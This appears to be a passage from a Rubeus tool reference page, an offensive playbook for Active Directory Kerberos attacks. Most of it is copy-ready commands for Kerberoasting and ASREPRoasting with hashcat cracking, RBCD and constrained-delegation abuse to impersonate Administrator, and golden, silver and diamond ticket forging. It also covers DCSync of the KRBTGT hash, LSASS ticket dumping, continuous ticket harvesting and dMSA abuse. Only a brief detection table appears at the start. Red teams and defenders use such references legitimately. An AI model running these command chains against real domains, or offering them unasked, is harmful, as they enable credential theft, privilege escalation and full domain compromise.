4624 Logon — S4U impersonation creates Type 3 logon events

Golden vs Diamond vs Silver

Ticket Type Touches KDC at use? Requires Detection
Golden No (TGT is self-contained) KRBTGT key Anomalous PAC fields, non-DC issuance
Diamond No (real TGT used) KRBTGT key + valid creds Harder — real KDC-signed ticket body
Silver No Service account key Non-domain-issued TGS for specific service

Common Attack Workflows

Workflow: Kerberoasting to Cracked Hash

# Step 1: Request TGS for all SPN accounts
Rubeus.exe kerberoast /nowrap /outfile:kerberoast_hashes.txt

# Step 2: Transfer hashes to cracking machine
# hashcat -m 13100 kerberoast_hashes.txt rockyou.txt --rules:/usr/share/hashcat/rules/best64.rule

Workflow: ASREPRoasting

# Step 1: Find and roast accounts with pre-auth disabled
Rubeus.exe asreproast /nowrap /outfile:asrep_hashes.txt

# Step 2: Crack
# hashcat -m 18200 asrep_hashes.txt rockyou.txt

Workflow: RBCD Abuse (from Linux + Windows)

# Linux: Create machine account
impacket-addcomputer -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' \
  -dc-ip DC01_IP domain.local/lowpriv_user:Pass

# Linux: Set RBCD on target
impacket-rbcd -delegate-from 'EVILPC$' -delegate-to 'DC01$' \
  -action 'write' -dc-ip DC01_IP domain.local/lowpriv_user:Pass

# Linux: Get TGT for EVILPC$
impacket-getTGT domain.local/EVILPC$:EvilPass123! -dc-ip DC01_IP
# Output: EVILPC$.ccache

# Linux -> Windows: Convert ccache to kirbi
# (use impacket-ticketConverter or Rubeus ccache2kirbi)

# Windows: Convert ccache to kirbi
Rubeus.exe ccache2kirbi /ccache:EVILPC$.ccache /outfile:EVILPC$.kirbi

# Windows: S4U2Self + S4U2Proxy to get admin ticket to DC01
Rubeus.exe s4u /ticket:EVILPC$.kirbi /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.domain.local /domain:domain.local /ptt

# Windows: Use access
dir \\DC01.domain.local\C$

Workflow: Shadow Credentials to TGT

# Step 1: (Outside Rubeus) Add shadow credentials to target via BloodyAD or Certipy
# bloodyAD add shadowCredentials targetUser
# This generates a PFX file

# Step 2: Use the PFX with Rubeus PKINIT to get a TGT
Rubeus.exe asktgt /user:targetUser /certificate:targetUser.pfx /password:CertPass \
  /domain:domain.local /dc:DC01.domain.local /ptt /nowrap

# Step 3: Dump the NT hash from the PKINIT response (Rubeus does this automatically)
# Look for [*] NTLM : <hash> in the output

Workflow: Overpass-the-Hash (Pass-the-Key)

Convert an NT hash into a Kerberos TGT without the cleartext password.

# Method 1: Use Rubeus asktgt with RC4 key
Rubeus.exe asktgt /user:john.doe /rc4:<NThash> /domain:domain.local /ptt

# Method 2: Use AES key for stealthier traffic
Rubeus.exe asktgt /user:john.doe /aes256:<aes256_key> /domain:domain.local /ptt /opsec

# Now use the injected TGT normally
dir \\DC01.domain.local\SYSVOL

Workflow: S4U2Self for Local Privilege Escalation (Constrained Delegation)

# If svc_http has constrained delegation to http/webapp.domain.local
# Step 1: Get TGT for svc_http
Rubeus.exe asktgt /user:svc_http /rc4:<NThash> /domain:domain.local /dc:DC01 /outfile:svc_http.kirbi

# Step 2: S4U chain to impersonate Domain Admin to the target service
Rubeus.exe s4u /ticket:svc_http.kirbi /impersonateuser:Administrator \
  /msdsspn:http/webapp.domain.local /altservice:cifs /domain:domain.local /ptt

# Step 3: Access the target
dir \\webapp.domain.local\C$

Workflow: Golden Ticket Attack (Post-DCSync)

# Linux: DCSync to get KRBTGT hashes
impacket-secretsdump -just-dc-user krbtgt domain.local/Admin:Pass@DC01_IP
# Extract: [*] KRBTGT:<RC4 hash>, aes256-cts-hmac-sha1-96:<AES256>
# Also need Domain SID: S-1-5-21-...

# Windows: Forge and inject Golden Ticket
Rubeus.exe golden /aes256:<krbtgt_aes256> /user:Administrator /id:500 \
  /domain:domain.local /sid:S-1-5-21-<domain_sid> /ptt

# Access anything in the domain
dir \\DC01.domain.local\C$

Workflow: Pass-the-Ticket (Lateral Movement)

# Step 1: Dump tickets from LSASS (requires SYSTEM or SeDebugPrivilege)
Rubeus.exe dump /service:krbtgt /nowrap

# Step 2: Copy base64 ticket to attacker machine or use on same host
# Create a sacrificial session
Rubeus.exe createnetonly /program:cmd.exe /show

# Step 3: Inject into the new session's LUID
# Note LUID from createnetonly output
Rubeus.exe ptt /ticket:<base64_tgt> /luid:0x<LUID>

# Step 4: Use the new cmd.exe window to access target resources

Workflow: dMSA BetterSuccessor TGT (with Renewal)

# Prerequisites: dMSA created and predecessor linked (see bloodyAD or SharpSuccessor)
# Have dMSA NT hash (via DCSync or GetChangesAll)

# Step 1: Request dMSA TGT (15-minute validity)
Rubeus.exe asktgt /user:evilDMSA$ /rc4:<dmsa_nthash> \
  /domain:domain.local /dc:DC01.domain.local /nowrap /outfile:dmsa_tgt.kirbi

# Step 2: Inject
Rubeus.exe ptt /ticket:dmsa_tgt.kirbi

# Step 3: Use (within 15-minute window)
dir \\DC01.domain.local\C$

# Step 4: Renew before expiry (run every ~10 min)
Rubeus.exe renew /ticket:dmsa_tgt.kirbi /ptt /outfile:dmsa_tgt.kirbi

Cheatsheet

Quick reference for the most common Rubeus operations. Replace placeholders as needed.

Ticket Acquisition

# TGT from password
Rubeus.exe asktgt /user:USER /password:PASS /domain:DOMAIN /dc:DC /ptt /nowrap

# TGT from NT hash (Overpass-the-Hash)
Rubeus.exe asktgt /user:USER /rc4:NTHASH /domain:DOMAIN /dc:DC /ptt /nowrap

# TGT from AES256 (stealthiest)
Rubeus.exe asktgt /user:USER /aes256:AESKEY /domain:DOMAIN /dc:DC /ptt /opsec /nowrap

# TGT from certificate (PKINIT)
Rubeus.exe asktgt /user:USER /certificate:cert.pfx /password:PFX_PASS /domain:DOMAIN /ptt /nowrap

# TGS for a specific service
Rubeus.exe asktgs /ticket:tgt.kirbi /service:cifs/SERVER.DOMAIN /nowrap

Roasting

# Kerberoast all (hashcat format)
Rubeus.exe kerberoast /nowrap /outfile:krb_hashes.txt

# ASREP-roast all vulnerable
Rubeus.exe asreproast /nowrap /outfile:asrep_hashes.txt

# Kerberoast specific user with RC4 downgrade
Rubeus.exe kerberoast /user:svc_sql /enctype:rc4 /nowrap

# Crack Kerberoast: hashcat -m 13100
# Crack ASREP:     hashcat -m 18200

Delegation Abuse (S4U)

# RBCD / Constrained Delegation -> impersonate admin to cifs
Rubeus.exe s4u /user:EVILPC$ /rc4:MACHINE_NTHASH /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.DOMAIN /domain:DOMAIN /dc:DC /ptt /nowrap

# Alter service name in ticket (cifs -> host etc.)
Rubeus.exe s4u /ticket:svc.kirbi /impersonateuser:Administrator \
  /msdsspn:http/WEBAPP.DOMAIN /altservice:cifs /domain:DOMAIN /ptt /nowrap

Ticket Management

# List all sessions
Rubeus.exe triage

# Dump TGTs from LSASS (needs SYSTEM)
Rubeus.exe dump /service:krbtgt /nowrap

# Import ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Import into specific LUID
Rubeus.exe ptt /ticket:ticket.kirbi /luid:0xLUID

# Purge current session tickets
Rubeus.exe purge

# Renew TGT
Rubeus.exe renew /ticket:tgt.kirbi /ptt

# Describe ticket contents
Rubeus.exe describe /ticket:tgt.kirbi

# Extract TGT without elevation (delegation trick)
Rubeus.exe tgtdeleg /nowrap

Ticket Conversion (Windows <-> Linux)

# kirbi to ccache
Rubeus.exe kirbi2ccache /kirbi:tgt.kirbi /outfile:tgt.ccache

# ccache to kirbi
Rubeus.exe ccache2kirbi /ccache:tgt.ccache /outfile:tgt.kirbi

# Convert base64 to binary kirbi
Rubeus.exe convert /ticket:<base64> /outfile:tgt.kirbi

# Linux side: use converted ccache with Impacket
export KRB5CCNAME=/path/to/tgt.ccache
impacket-smbclient -k -no-pass domain.local/Administrator@DC01.domain.local
impacket-secretsdump -k -no-pass domain.local/Administrator@DC01.domain.local

Ticket Forging

# Golden ticket (KRBTGT AES256)
Rubeus.exe golden /aes256:KRBTGT_AES256 /user:Administrator /id:500 \
  /domain:DOMAIN /sid:DOMAIN_SID /ptt

# Silver ticket (service account key)
Rubeus.exe silver /rc4:SERVICE_NTHASH /user:Administrator \
  /service:cifs/SERVER.DOMAIN /domain:DOMAIN /sid:DOMAIN_SID /ptt

# Diamond ticket (real TGT body, forged PAC)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /groups:512 /krbkey:KRBTGT_AES256 /domain:DOMAIN /dc:DC /ptt

Monitoring (SYSTEM required)

# Harvest all TGTs (including newly appearing ones)
Rubeus.exe monitor /interval:60 /nowrap

# Continuously harvest and renew
Rubeus.exe harvest /interval:30 /nowrap

Hash Utilities

# Get NT hash and Kerberos keys from password
Rubeus.exe hash /password:PASS /user:USER /domain:DOMAIN

# Pre-Win2000 machine password
Rubeus.exe calculatepassword /computername:MACHINENAME$

Sacrificial Session for PTT

# Create isolated session
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
# Note LUID from output

# Inject ticket into isolated session
Rubeus.exe ptt /ticket:admin.kirbi /luid:0x<LUID>

Common Service SPNs for Silver Tickets

Service SPN Pattern
CIFS / SMB cifs/SERVER.DOMAIN
WMI / DCOM host/SERVER.DOMAIN
HTTP http/SERVER.DOMAIN
MSSQL MSSQLSvc/SERVER.DOMAIN:1433
LDAP ldap/DC.DOMAIN
WinRM / PSRemoting http/SERVER.DOMAIN (or rpcss)
Kerberos (Golden) krbtgt/DOMAIN
RDP TERMSRV/SERVER.DOMAIN

References

  • GitHub: https://github.com/GhostPack/Rubeus
  • Original Kerberoasting research: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
  • S4U2Proxy/Delegation abuse: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
  • The Art of Asking Nicely (ASREPRoasting): https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
  • Diamond Ticket research (Charlie Clark): https://www.semperis.com/blog/a-diamond-in-the-ruff/
  • BetterSuccessor / BadSuccessor (dMSA): https://www.semperis.com/blog/badsuccessor/
  • Decrypting the Secrets of Kerberos (Will Schroeder & Lee Christensen): https://posts.specterops.io/
  • SharpCollection (pre-compiled binaries): https://github.com/Flangvik/SharpCollection

← Tool references top ↑